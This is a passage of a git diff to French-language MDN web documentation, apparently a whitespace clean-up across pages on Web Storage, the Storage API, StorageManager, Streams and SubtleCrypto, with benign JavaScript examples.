-- Nous utilisons le constructeur {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} pour créer une nouvelle instance contenant le texte de l'{{htmlelement("input")}}; -- Nous positionnons {{domxref("SpeechSynthesisUtterance.voice","voice")}} sur la voix sélectionnée dans le {{htmlelement("select")}}; -- Nous démarrons la synthèse vocale via la méthode {{domxref("SpeechSynthesis.speak()")}} +- Nous stoppons la soumission du formulaire avec [preventDefault()](/en-US/docs/Web/API/Event/preventDefault); +- Nous utilisons le constructeur {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} pour créer une nouvelle instance contenant le texte de l'{{htmlelement("input")}}; +- Nous positionnons {{domxref("SpeechSynthesisUtterance.voice","voice")}} sur la voix sélectionnée dans le {{htmlelement("select")}}; +- Nous démarrons la synthèse vocale via la méthode {{domxref("SpeechSynthesis.speak()")}} ```js var synth = window.speechSynthesis; diff --git a/files/fr/web/api/storage/clear/index.md b/files/fr/web/api/storage/clear/index.md index a4540f154c..a26f7064e8 100644 --- a/files/fr/web/api/storage/clear/index.md +++ b/files/fr/web/api/storage/clear/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Storage/clear --- {{APIRef("Web Storage API")}} -La méthode `clear()` de l'interface {{domxref("Storage")}}, lorsqu'elle est invoquée, vide toutes les clés stockées. +La méthode `clear()` de l'interface {{domxref("Storage")}}, lorsqu'elle est invoquée, vide toutes les clés stockées. ## Syntaxe @@ -37,7 +37,7 @@ function peuplerLeStockage() { } ``` -> **Note :** Pour voir un exemple réel, vous pouvez visitez notre [Démo de stockage web](https://mdn.github.io/dom-examples/web-storage/). Les modifications sont visibles dans la console, vous pouvez actualiser la page et conserver les modifications. +> **Note :** Pour voir un exemple réel, vous pouvez visitez notre [Démo de stockage web](https://mdn.github.io/dom-examples/web-storage/). Les modifications sont visibles dans la console, vous pouvez actualiser la page et conserver les modifications. ## Spécifications @@ -51,4 +51,4 @@ function peuplerLeStockage() { ## Voir aussi -- [Utilisation de l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) +- [Utilisation de l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) diff --git a/files/fr/web/api/storage/getitem/index.md b/files/fr/web/api/storage/getitem/index.md index 4563ca4cca..1900adb9d7 100644 --- a/files/fr/web/api/storage/getitem/index.md +++ b/files/fr/web/api/storage/getitem/index.md @@ -58,4 +58,4 @@ function setStyles() { ## Voir aussi -[Utilisation de l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) +[Utilisation de l'API de stockage web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) diff --git a/files/fr/web/api/storage/index.md b/files/fr/web/api/storage/index.md index 4ae4cf6946..5cba3a3196 100644 --- a/files/fr/web/api/storage/index.md +++ b/files/fr/web/api/storage/index.md @@ -11,19 +11,19 @@ translation_of: Web/API/Storage --- {{APIRef("Web Storage API")}} -L'interface **`Storage`** de l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API) donne accès au stockage de session (`SessionStorage`) ou au stockage local (`LocalStorage`) pour un domaine donné, vous permettant par exemple d'ajouter, de modifier ou de supprimer des éléments enregistrés. +L'interface **`Storage`** de l'[API Web Storage](/fr/docs/Web/API/Web_Storage_API) donne accès au stockage de session (`SessionStorage`) ou au stockage local (`LocalStorage`) pour un domaine donné, vous permettant par exemple d'ajouter, de modifier ou de supprimer des éléments enregistrés. -Si vous voulez manipuler le stockage de session pour un domaine, appelez la méthode {{domxref("Window.sessionStorage")}}. Si vous voulez manipuler le stockage local pour un domaine, appelez la méthode {{domxref("Window.localStorage")}}. +Si vous voulez manipuler le stockage de session pour un domaine, appelez la méthode {{domxref("Window.sessionStorage")}}. Si vous voulez manipuler le stockage local pour un domaine, appelez la méthode {{domxref("Window.localStorage")}}. ## Propriétés - {{domxref("Storage.length")}} {{readonlyInline}} - - : Renvoie un entier représentant le nombre d'éléments contenus dans l'objet `Storage`. + - : Renvoie un entier représentant le nombre d'éléments contenus dans l'objet `Storage`. ## Méthodes - {{domxref("Storage.key()")}} - - : Lorsqu'on lui passe un nombre `n`, cette méthode renvoie le nom de la n-ième clé dans le stockage. + - : Lorsqu'on lui passe un nombre `n`, cette méthode renvoie le nom de la n-ième clé dans le stockage. <!----> @@ -38,7 +38,7 @@ Si vous voulez manipuler le stockage de session pour un domaine, appelez la mét ## Exemples -Nous accédons ici à un objet `Storage` en appelant `localStorage`. Nous testons d'abord si le stockage local contient des éléments en utilisant `!localStorage.getItem('bgcolor')`. Si oui, nous exécutons une fonction appelée `setStyles()` qui récupère les éléments en utilisant {{domxref("Storage.getItem()")}}, et utilise ces valeurs pour mettre à jour les styles de page. Sinon, nous exécutons une autre fonction appelée `populateStorage()`, qui utilise {{domxref("Storage.setItem()")}} pour régler les valeurs des éléments, puis qui exécute `setStyles()`. +Nous accédons ici à un objet `Storage` en appelant `localStorage`. Nous testons d'abord si le stockage local contient des éléments en utilisant `!localStorage.getItem('bgcolor')`. Si oui, nous exécutons une fonction appelée `setStyles()` qui récupère les éléments en utilisant {{domxref("Storage.getItem()")}}, et utilise ces valeurs pour mettre à jour les styles de page. Sinon, nous exécutons une autre fonction appelée `populateStorage()`, qui utilise {{domxref("Storage.setItem()")}} pour régler les valeurs des éléments, puis qui exécute `setStyles()`. ```js if(!localStorage.getItem('bgcolor')) { diff --git a/files/fr/web/api/storage/key/index.md b/files/fr/web/api/storage/key/index.md index f108c70da3..fb2632992b 100644 --- a/files/fr/web/api/storage/key/index.md +++ b/files/fr/web/api/storage/key/index.md @@ -35,7 +35,7 @@ La fonction suivante parcours les éléments présents dans le local storage. function forEachKey(callback) { for (var i = 0; i < localStorage.length; i++) { callback(localStorage.key(i)); - } + } } ``` @@ -43,11 +43,11 @@ function forEachKey(callback) { ## Autre exemple -La fonction suivante parcourt chaque clé présente dans le localStorage et affiche les valeurs correspondantes. +La fonction suivante parcourt chaque clé présente dans le localStorage et affiche les valeurs correspondantes. ```js for (var i = 0; i < localStorage.length; i++) { - console.log(localStorage.getItem(localStorage.key(i))); + console.log(localStorage.getItem(localStorage.key(i))); } ``` @@ -55,7 +55,7 @@ for (var i = 0; i < localStorage.length; i++) { | Specification | Status | Comment | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-key', 'Storage.key')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/storage/length/index.md b/files/fr/web/api/storage/length/index.md index a2ea7ab711..31157d56ef 100644 --- a/files/fr/web/api/storage/length/index.md +++ b/files/fr/web/api/storage/length/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Storage/length --- {{APIRef("Web Storage API")}} -La propriété en lecture seule de l'interface {{domxref("Storage")}} retourne un entier représentant le nombre d'items stockés dans l'objet `Storage`. +La propriété en lecture seule de l'interface {{domxref("Storage")}} retourne un entier représentant le nombre d'items stockés dans l'objet `Storage`. ## Syntaxe @@ -35,13 +35,13 @@ function populateStorage() { } ``` -> **Note :** Pour voir ceci utilisé dans un exemple concret, regardez notre [Web Storage Demo](https://mdn.github.io/dom-examples/web-storage/). +> **Note :** Pour voir ceci utilisé dans un exemple concret, regardez notre [Web Storage Demo](https://mdn.github.io/dom-examples/web-storage/). ## Spécifications | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'webstorage.html#dom-storage-length', 'Storage.length')}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/storage/removeitem/index.md b/files/fr/web/api/storage/removeitem/index.md index add1e6b954..ee22988713 100644 --- a/files/fr/web/api/storage/removeitem/index.md +++ b/files/fr/web/api/storage/removeitem/index.md @@ -45,11 +45,11 @@ Nous pouvons également faire ceci avec le stockage de session. ```js function populateStorage() { - sessionStorage.setItem('bgcolor', 'red'); - sessionStorage.setItem('font', 'Helvetica'); + sessionStorage.setItem('bgcolor', 'red'); + sessionStorage.setItem('font', 'Helvetica'); sessionStorage.setItem('image', 'myCat.png'); - sessionStorage.removeItem('image'); + sessionStorage.removeItem('image'); } ``` @@ -67,4 +67,4 @@ function populateStorage() { ## Voir aussi -[Utilisation de l'API de stockage Web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) +[Utilisation de l'API de stockage Web](/fr/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API) diff --git a/files/fr/web/api/storage/setitem/index.md b/files/fr/web/api/storage/setitem/index.md index da20ec878f..d3d89d6225 100644 --- a/files/fr/web/api/storage/setitem/index.md +++ b/files/fr/web/api/storage/setitem/index.md @@ -34,7 +34,7 @@ Par conséquent les développeurs devraient être sûrs de toujours de **systém ## Exemple -La fonction suivante crée trois éléments à l'intérieur du stockage local. +La fonction suivante crée trois éléments à l'intérieur du stockage local. ```js function remplissageStockage() { @@ -44,7 +44,7 @@ function remplissageStockage() { } ``` -> **Note :** Pour voir ceci utilisé dans un exemple concret, regardez notre [Web Storage Demo](https://mdn.github.io/dom-examples/web-storage/). +> **Note :** Pour voir ceci utilisé dans un exemple concret, regardez notre [Web Storage Demo](https://mdn.github.io/dom-examples/web-storage/). ## Spécifications diff --git a/files/fr/web/api/storage_api/index.md b/files/fr/web/api/storage_api/index.md index daf154aa13..4e395f8c2f 100644 --- a/files/fr/web/api/storage_api/index.md +++ b/files/fr/web/api/storage_api/index.md @@ -9,15 +9,15 @@ Le standard _Storage_ définit un système de stockage commun et partagé utilis {{AvailableInWorkers}} -Le stockage de site — les données stockées pour un site web qui sont gérées par le standard Storage — inclut : - -- [les bases de données IndexedDB](/fr/docs/Web/API/IndexedDB_API) ; -- [les données de l’API Cache](/fr/docs/Web/API/Cache) ; -- [les enregistrements de Service Worker](/fr/docs/Web/API/Service_Worker_API) ; -- [les données de l’API Web Storage](/fr/docs/Web/API/Web_Storage_API) gérées via {{domxref("window.localStorage")}} ; -- les informations de l’état d’historique enregistrées via {{domxref("History.pushState()")}} ; -- [les caches d’application](/fr/docs/Web/HTML/Using_the_application_cache) ; -- [les données de notification](/fr/docs/Web/API/Notifications_API) ; +Le stockage de site — les données stockées pour un site web qui sont gérées par le standard Storage — inclut : + +- [les bases de données IndexedDB](/fr/docs/Web/API/IndexedDB_API) ; +- [les données de l’API Cache](/fr/docs/Web/API/Cache) ; +- [les enregistrements de Service Worker](/fr/docs/Web/API/Service_Worker_API) ; +- [les données de l’API Web Storage](/fr/docs/Web/API/Web_Storage_API) gérées via {{domxref("window.localStorage")}} ; +- les informations de l’état d’historique enregistrées via {{domxref("History.pushState()")}} ; +- [les caches d’application](/fr/docs/Web/HTML/Using_the_application_cache) ; +- [les données de notification](/fr/docs/Web/API/Notifications_API) ; - d’autres types de données accessibles par le site et spécifiques au site qui pourraient être maintenues. ## Unités de stockage de site @@ -26,15 +26,15 @@ Le système de stockage de site décrit par le standard Storage, et avec lequel  -- L’origine 1 a des données Web Storage ainsi que des données IndexedDB, mais a également un peu d’espace libre restant ; son utilisation actuelle n’a pas encore atteint son quota. -- L’origine 2 n’a pas encore de données stockées ; c’est simplement une boîte vide en attente de contenu. Cette origine, toutefois, a un quota inférieur à celui des deux autres. Il peut s’agir d’un site visité moins souvent, ou d’un site connu pour avoir des besoins de stockage inférieurs. -- L’unité de stockage de l’origine 3 est complètement remplie ; elle a atteint son quota et ne peut pas stocker de données supplémentaires sans que du contenu existant soit supprimé. +- L’origine 1 a des données Web Storage ainsi que des données IndexedDB, mais a également un peu d’espace libre restant ; son utilisation actuelle n’a pas encore atteint son quota. +- L’origine 2 n’a pas encore de données stockées ; c’est simplement une boîte vide en attente de contenu. Cette origine, toutefois, a un quota inférieur à celui des deux autres. Il peut s’agir d’un site visité moins souvent, ou d’un site connu pour avoir des besoins de stockage inférieurs. +- L’unité de stockage de l’origine 3 est complètement remplie ; elle a atteint son quota et ne peut pas stocker de données supplémentaires sans que du contenu existant soit supprimé. -Les {{Glossary("User agent", "agents utilisateur")}} sont susceptibles d’utiliser diverses techniques pour déterminer le quota de différentes origines. Une des méthodes les plus probables — une que la spécification encourage spécifiquement, en fait — est de considérer la popularité et les niveaux d’utilisation de sites individuels pour déterminer quels doivent être leurs quotas. Il est également concevable que le navigateur puisse offrir une interface utilisateur pour personnaliser ces quotas. +Les {{Glossary("User agent", "agents utilisateur")}} sont susceptibles d’utiliser diverses techniques pour déterminer le quota de différentes origines. Une des méthodes les plus probables — une que la spécification encourage spécifiquement, en fait — est de considérer la popularité et les niveaux d’utilisation de sites individuels pour déterminer quels doivent être leurs quotas. Il est également concevable que le navigateur puisse offrir une interface utilisateur pour personnaliser ces quotas. ## Modes de boîte -Le stockage de données en lui-même, au sein de chaque unité de stockage, est appelé sa **boîte**. Chaque unité de stockage de site a exactement une boîte dans laquelle toutes ses données sont placées, et a une **mode de boîte** qui décrit la politique de conservation de données pour cette boîte. Il existe deux modes : +Le stockage de données en lui-même, au sein de chaque unité de stockage, est appelé sa **boîte**. Chaque unité de stockage de site a exactement une boîte dans laquelle toutes ses données sont placées, et a une **mode de boîte** qui décrit la politique de conservation de données pour cette boîte. Il existe deux modes : - `"best-effort"` - : L’agent utilisateur essayera de conserver les données contenues dans la boîte aussi longtemps qu’il peut, _mais n’avertira pas l’utilisateur ou l’utilisatrice_ si l’espace de stockage approche sa limite et s’il devient nécessaire de nettoyer la boîte afin de réduire la pression de stockage. @@ -49,13 +49,13 @@ Si le site ou l’application a la permission sur la fonctionnalité **`"persist > **Note :** Voir [Using the Permissions API](/fr/docs/Web/API/Permissions_API/Using_the_Permissions_API) pour plus de détails sur l’obtension et la gestion des permissions. -Lors du nettoyage d’unités de stockage de site, la boîte d’une origine est traitée comme une seule entité ; si l’agent utilisateur a besoin de la nettoyer et si l’utilisateur ou l’utilisatrice approuve, le stockage de données entier est nettoyé plutôt que de fournir un moyen de nettoyer seulement les données d’une API individuelle. +Lors du nettoyage d’unités de stockage de site, la boîte d’une origine est traitée comme une seule entité ; si l’agent utilisateur a besoin de la nettoyer et si l’utilisateur ou l’utilisatrice approuve, le stockage de données entier est nettoyé plutôt que de fournir un moyen de nettoyer seulement les données d’une API individuelle. -Si une boîte est marquée `"persistent"`, le contenu ne sera pas nettoyé par l’agent utilisateur sans que l’origine des données elle-même, ou l’utilisateur ou l’utilisatrice, ne le fasse spécifiquement. Cela inclut des scénarios tels que l’utilisateur ou l’utilisatrice choisissant une option « nettoyer le cache » or « nettoyer l’historique récent ». La permission de supprimer des unités de stockage persistantes sera spécifiquement demandée à l’utilisateur ou à l’utilisatrice. +Si une boîte est marquée `"persistent"`, le contenu ne sera pas nettoyé par l’agent utilisateur sans que l’origine des données elle-même, ou l’utilisateur ou l’utilisatrice, ne le fasse spécifiquement. Cela inclut des scénarios tels que l’utilisateur ou l’utilisatrice choisissant une option « nettoyer le cache » or « nettoyer l’historique récent ». La permission de supprimer des unités de stockage persistantes sera spécifiquement demandée à l’utilisateur ou à l’utilisatrice. ## Estimations de quota et d’usage -L’agent utilisateur détermine, à l’aide du mécanisme de son choix, la quantité maximale de stockage qu’un site donné peut utiliser. Ce maximum est le **quota** de l’origine. La quantité de cet espace utilisée par le site est appelée son **usage**. Ces deux valeurs sont des estimations ; elles sont imprécise pour plusieurs raisons : +L’agent utilisateur détermine, à l’aide du mécanisme de son choix, la quantité maximale de stockage qu’un site donné peut utiliser. Ce maximum est le **quota** de l’origine. La quantité de cet espace utilisée par le site est appelée son **usage**. Ces deux valeurs sont des estimations ; elles sont imprécise pour plusieurs raisons : - Les agents utilisateur sont encouragés à dissimuler la taille exacte des données utilisées par une origine donnée, pour empêcher que ces valeurs soient utilisées à des fins de fingerprinting. - La dé-duplication, la compression et d’autres méthodes pour réduire la taille physique des données stockées peuvent être utilisées. @@ -63,11 +63,11 @@ L’agent utilisateur détermine, à l’aide du mécanisme de son choix, la qua Les agents utilisateurs peuvent utiliser toute méthode de leur choix pour déterminer la taille du quota de l’origine, et sont encouragés par la spécification à fournir de l’espace supplémentaire aux sites populaires ou fréquemment visités. -Pour déterminer les valeurs de quota et d’usage estimées pour une origine donnée, utilisez la méthode {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}}, qui retourne une promesse qui, une fois résolue, reçoit un {{domxref("StorageEstimate")}} qui contient ces nombres. Par exemple : +Pour déterminer les valeurs de quota et d’usage estimées pour une origine donnée, utilisez la méthode {{domxref("StorageManager.estimate", "navigator.storage.estimate()")}}, qui retourne une promesse qui, une fois résolue, reçoit un {{domxref("StorageEstimate")}} qui contient ces nombres. Par exemple : ```js navigator.storage.estimate().then(estimate => { - // estimate.quota est le quota estimé + // estimate.quota est le quota estimé // estimate.usage est le nombre estimé d’octets utilisés }); ``` diff --git a/files/fr/web/api/storagemanager/estimate/index.md b/files/fr/web/api/storagemanager/estimate/index.md index 4ed46854c1..63afb6307c 100644 --- a/files/fr/web/api/storagemanager/estimate/index.md +++ b/files/fr/web/api/storagemanager/estimate/index.md @@ -17,7 +17,7 @@ Aucun. ### Valeur de retour -Une {{jsxref('Promise')}} qui se résoud en un objet qui se conforme au dictionnaire {{domxref('StorageEstimate')}}. Ce dictionnaire contient des estimations de la quantité d’espace disponible à l’origine ou à l’application (dans {{domxref("StorageEstimate.quota")}}), ainsi que la quantité d’espace actuellement utilisé (dans {{domxref("StorageEstimate.usage")}}). Ces nombres ne sont pas exacts ; entre la compression, la dé-duplication, et l’obfuscation pour des raisons de sécurité, ils ne seront pas précis. +Une {{jsxref('Promise')}} qui se résoud en un objet qui se conforme au dictionnaire {{domxref('StorageEstimate')}}. Ce dictionnaire contient des estimations de la quantité d’espace disponible à l’origine ou à l’application (dans {{domxref("StorageEstimate.quota")}}), ainsi que la quantité d’espace actuellement utilisé (dans {{domxref("StorageEstimate.usage")}}). Ces nombres ne sont pas exacts ; entre la compression, la dé-duplication, et l’obfuscation pour des raisons de sécurité, ils ne seront pas précis. Il est possible de constater que le `quota` varie d’application en application, basé sur des facteurs tels que la fréquence à laquelle l’utilisateur ou l’utilisatrice la visite, des données de popularité de sites bien connus, et ainsi de suite. diff --git a/files/fr/web/api/storagemanager/index.md b/files/fr/web/api/storagemanager/index.md index f2d0ddb3ae..ed5b77ee5e 100644 --- a/files/fr/web/api/storagemanager/index.md +++ b/files/fr/web/api/storagemanager/index.md @@ -25,9 +25,9 @@ The **`StorageManager`** interface of the the [Storage API](/en-US/docs/Web/API/ - {{domxref("StorageManager.estimate()")}} {{securecontext_inline}} - : Returns a {{domxref("StorageEstimate")}} object containing usage and quota numbers for your origin. - {{domxref("StorageManager.persist()")}} {{securecontext_inline}} - - : Returns a {{jsxref('Promise')}} that resolves to `true` if the user agent is able to persist your site's storage. + - : Returns a {{jsxref('Promise')}} that resolves to `true` if the user agent is able to persist your site's storage. - {{domxref("StorageManager.persisted()")}} {{securecontext_inline}} - - : Returns a {{jsxref('Promise')}} that resolves to `true` if persistence has already been granted for your site's storage. + - : Returns a {{jsxref('Promise')}} that resolves to `true` if persistence has already been granted for your site's storage. ## Specifications diff --git a/files/fr/web/api/storagemanager/persist/index.md b/files/fr/web/api/storagemanager/persist/index.md index f644f15c11..bc9f3f6a71 100644 --- a/files/fr/web/api/storagemanager/persist/index.md +++ b/files/fr/web/api/storagemanager/persist/index.md @@ -23,12 +23,12 @@ Une {{jsxref('Promise')}} qui se résoud en un {{jsxref('Boolean')}}. ```js if (navigator.storage && navigator.storage.persist) - navigator.storage.persist().then(function(persistent) { - if (persistent) - console.log("Le stockage ne sera pas nettoyé sauf en cas d’action humaine explicite"); - else - console.log("Le stockage peut être nettoyé par l’UA en cas de pression de stockage."); - }); + navigator.storage.persist().then(function(persistent) { + if (persistent) + console.log("Le stockage ne sera pas nettoyé sauf en cas d’action humaine explicite"); + else + console.log("Le stockage peut être nettoyé par l’UA en cas de pression de stockage."); + }); ``` ## Spécifications diff --git a/files/fr/web/api/storagemanager/persisted/index.md b/files/fr/web/api/storagemanager/persisted/index.md index 05ef2cd5df..5f80ea526f 100644 --- a/files/fr/web/api/storagemanager/persisted/index.md +++ b/files/fr/web/api/storagemanager/persisted/index.md @@ -23,12 +23,12 @@ Une {{jsxref('Promise')}} qui se résoud en un {{jsxref('Boolean')}}. ```js if (navigator.storage && navigator.storage.persist) - navigator.storage.persisted().then(function(persistent) { + navigator.storage.persisted().then(function(persistent) { if (persistent) console.log("Le stockage ne sera pas nettoyé sauf en cas d’action humaine explicite"); else console.log("Le stockage peut être nettoyé par l’UA en cas de pression de stockage."); - }); + }); ``` ## Spécifications diff --git a/files/fr/web/api/streams_api/index.md b/files/fr/web/api/streams_api/index.md index 437d2d3799..b6b186a2df 100644 --- a/files/fr/web/api/streams_api/index.md +++ b/files/fr/web/api/streams_api/index.md @@ -21,7 +21,7 @@ Il y a aussi d'autres avantages — vous pouvez détecter quand un flux commence L'usage basique des <i lang="en">Streams</i> s'articule autour de la mise à disposition des réponses sous forme de flux. Par exemple, le corps de réponse retourné par une [requête `fetch`](/fr/docs/Web/API/fetch) réussie peut être exposé en tant que [`ReadableStream`](/fr/docs/Web/API/ReadableStream) — vous pourrez ainsi le lire en utilisant un lecteur créé par [`ReadableStream.getReader()`](/fr/docs/Web/API/ReadableStream/getReader), l'annuler avec [`ReadableStream.cancel()`](/fr/docs/Web/API/ReadableStream/cancel), etc. -Un usage plus avancé consiste à créer son propre flux en utilisant le constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, pour traiter par exemple les données à l'intérieur d'un [service worker](/docs/Web/API/Service_Worker_API). +Un usage plus avancé consiste à créer son propre flux en utilisant le constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, pour traiter par exemple les données à l'intérieur d'un [service worker](/docs/Web/API/Service_Worker_API). Vous pouvez aussi écrire des données vers les flux en utilisant {{domxref("WritableStream")}}. @@ -32,7 +32,7 @@ Vous pouvez aussi écrire des données vers les flux en utilisant {{domxref("Wri ### Readable streams - {{domxref("ReadableStream")}} - - : Correspond à un flux de données lisible. Il peut être utlisé afin de gérer les réponses des flux de l'[API Fetch](/en-US/docs/Web/API/Fetch_API), ou des flux définis par le développeur (cad. un constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} personnalisé). + - : Correspond à un flux de données lisible. Il peut être utlisé afin de gérer les réponses des flux de l'[API Fetch](/en-US/docs/Web/API/Fetch_API), ou des flux définis par le développeur (cad. un constructeur {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} personnalisé). - {{domxref("ReadableStreamDefaultReader")}} - : Correspond à un lecteur par défaut pouvant être utilisé afin de lire un flux de données fourni par le réseau (cad. une requête fetch). - {{domxref("ReadableStreamDefaultController")}} @@ -41,11 +41,11 @@ Vous pouvez aussi écrire des données vers les flux en utilisant {{domxref("Wri ### Writable streams - {{domxref("WritableStream")}} - - : Propose un standard d'abstraction afin d'écrire des flux de données vers une destination, ce qu'on appel un sink (un _aggregateur de flux_). Cet objet s'accompagne d'un built-in backpressure et d'un système de queue. + - : Propose un standard d'abstraction afin d'écrire des flux de données vers une destination, ce qu'on appel un sink (un _aggregateur de flux_). Cet objet s'accompagne d'un built-in backpressure et d'un système de queue. - {{domxref("WritableStreamDefaultWriter")}} - : Correspond à un flux inscriptible par défaut pouvant être utilisé afin d'écire des chunks (plus petit morceaux) de données vers un flux inscriptible. - {{domxref("WritableStreamDefaultController")}} - - : Correspond à un controlleur permettant de gérer l'état d'un {{domxref("WritableStream")}}. Lors de la construction d'un `WritableStream`, le sink sous-jacent se voit attribuer une instance de `WritableStreamDefaultController` afin de pouvoir le manipuler. + - : Correspond à un controlleur permettant de gérer l'état d'un {{domxref("WritableStream")}}. Lors de la construction d'un `WritableStream`, le sink sous-jacent se voit attribuer une instance de `WritableStreamDefaultController` afin de pouvoir le manipuler. ### Related stream APIs and operations diff --git a/files/fr/web/api/stylesheetlist/index.md b/files/fr/web/api/stylesheetlist/index.md index 1714af3627..a89ab8a939 100644 --- a/files/fr/web/api/stylesheetlist/index.md +++ b/files/fr/web/api/stylesheetlist/index.md @@ -10,9 +10,9 @@ translation_of: Web/API/StyleSheetList --- {{APIRef("CSSOM")}} -L'interface StyleSheetList représente une liste de {{domxref("StyleSheet")}}. +L'interface StyleSheetList représente une liste de {{domxref("StyleSheet")}}. -Il s'agit d'un objet de type array, mais qui ne peut pas être itéré à l'aide de la méthode {{jsxref("Array")}}. Il peut néanmoins être itéré dans une boucle {{jsxref("Statements/for", "for")}} standard en utilisant ses indices, ou converti en un {{jsxref("Array")}}. +Il s'agit d'un objet de type array, mais qui ne peut pas être itéré à l'aide de la méthode {{jsxref("Array")}}. Il peut néanmoins être itéré dans une boucle {{jsxref("Statements/for", "for")}} standard en utilisant ses indices, ou converti en un {{jsxref("Array")}}. ## Exemple diff --git a/files/fr/web/api/subtlecrypto/digest/index.md b/files/fr/web/api/subtlecrypto/digest/index.md index 2a3b3b4098..1bb6c06418 100644 --- a/files/fr/web/api/subtlecrypto/digest/index.md +++ b/files/fr/web/api/subtlecrypto/digest/index.md @@ -26,7 +26,7 @@ Il prend en argument un identifiant pour l'algorithme de condensé et les donné ### Valeur retournée -- `digest` est une {{jsxref("Promise")}} pour accéder {{jsxref("ArrayBuffer")}} au condensé. +- `digest` est une {{jsxref("Promise")}} pour accéder {{jsxref("ArrayBuffer")}} au condensé. ## Algorithmes supportés diff --git a/files/fr/web/api/subtlecrypto/index.md b/files/fr/web/api/subtlecrypto/index.md index 261e638d57..c7859cee9c 100644 --- a/files/fr/web/api/subtlecrypto/index.md +++ b/files/fr/web/api/subtlecrypto/index.md @@ -16,7 +16,7 @@ translation_of: Web/API/SubtleCrypto --- {{APIRef("Web Crypto API")}}{{SecureContext_header}} -The **`SubtleCrypto`** interface of the [Web Crypto API](/en-US/docs/Web/API/Web_Crypto_API) provides a number of low-level cryptographic functions. Access to the features of `SubtleCrypto` is obtained through the {{domxref("Crypto.subtle", "subtle")}} property of the {{domxref("Crypto")}} object you get from {{domxref("Window.crypto")}}. +The **`SubtleCrypto`** interface of the [Web Crypto API](/en-US/docs/Web/API/Web_Crypto_API) provides a number of low-level cryptographic functions. Access to the features of `SubtleCrypto` is obtained through the {{domxref("Crypto.subtle", "subtle")}} property of the {{domxref("Crypto")}} object you get from {{domxref("Window.crypto")}}. > **Attention :** This API provides a number of low-level cryptographic primitives. It's very easy to misuse them, and the pitfalls involved can be very subtle. > @@ -73,23 +73,23 @@ These are the functions you can use to implement security features such as priva ### Key management functions -Except for {{DOMxRef("SubtleCrypto.digest","digest()")}}, all the cryptography functions in the API use cryptographic keys. In the `SubtleCrypto` API a cryptographic key is represented using a {{DOMxRef("CryptoKey","CryptoKey")}} object. To perform operations like signing and encrypting, you pass a {{DOMxRef("CryptoKey","CryptoKey")}} object into the {{DOMxRef("SubtleCrypto.sign","sign()")}} or {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}} function. +Except for {{DOMxRef("SubtleCrypto.digest","digest()")}}, all the cryptography functions in the API use cryptographic keys. In the `SubtleCrypto` API a cryptographic key is represented using a {{DOMxRef("CryptoKey","CryptoKey")}} object. To perform operations like signing and encrypting, you pass a {{DOMxRef("CryptoKey","CryptoKey")}} object into the {{DOMxRef("SubtleCrypto.sign","sign()")}} or {{DOMxRef("SubtleCrypto.encrypt","encrypt()")}} function. #### Generating and deriving keys -The {{DOMxRef("SubtleCrypto.generateKey","generateKey()")}} and {{DOMxRef("SubtleCrypto.deriveKey","deriveKey()")}} functions both create a new {{DOMxRef("CryptoKey")}} object. +The {{DOMxRef("SubtleCrypto.generateKey","generateKey()")}} and {{DOMxRef("SubtleCrypto.deriveKey","deriveKey()")}} functions both create a new {{DOMxRef("CryptoKey")}} object. The difference is that `generateKey()` will generate a new distinct key value each time you call it, while `deriveKey()` derives a key from some initial keying material. If you provide the same keying material to two separate calls to `deriveKey()`, you will get two `CryptoKey` objects that have the same underlying value. This is useful if, for example, you want to derive an encryption key from a password and later derive the same key from the same password to decrypt the data. #### Importing and exporting keys -To make keys available outside your app, you need to export the key, and that's what {{DOMxRef("SubtleCrypto.exportKey","exportKey()")}} is for. You can choose one of a number of export formats. +To make keys available outside your app, you need to export the key, and that's what {{DOMxRef("SubtleCrypto.exportKey","exportKey()")}} is for. You can choose one of a number of export formats. -The inverse of `exportKey()` is {{DOMxRef("SubtleCrypto.importKey","importKey()")}}. You can import keys from other systems, and support for standard formats like [PKCS #8](https://tools.ietf.org/html/rfc5208) and [JSON Web Key](https://tools.ietf.org/html/rfc7517) helps you do this. The `exportKey()` function exports the key in an unencrypted format. +The inverse of `exportKey()` is {{DOMxRef("SubtleCrypto.importKey","importKey()")}}. You can import keys from other systems, and support for standard formats like [PKCS #8](https://tools.ietf.org/html/rfc5208) and [JSON Web Key](https://tools.ietf.org/html/rfc7517) helps you do this. The `exportKey()` function exports the key in an unencrypted format. -If the key is sensitive you should use {{DOMxRef("SubtleCrypto.wrapKey","wrapKey()")}}, which exports the key and then encrypts it using another key; the API calls a "key-wrapping key". +If the key is sensitive you should use {{DOMxRef("SubtleCrypto.wrapKey","wrapKey()")}}, which exports the key and then encrypts it using another key; the API calls a "key-wrapping key". -The inverse of `wrapKey()` is {{DOMxRef("SubtleCrypto.unwrapKey","unwrapKey()")}}, which decrypts then imports the key. +The inverse of `wrapKey()` is 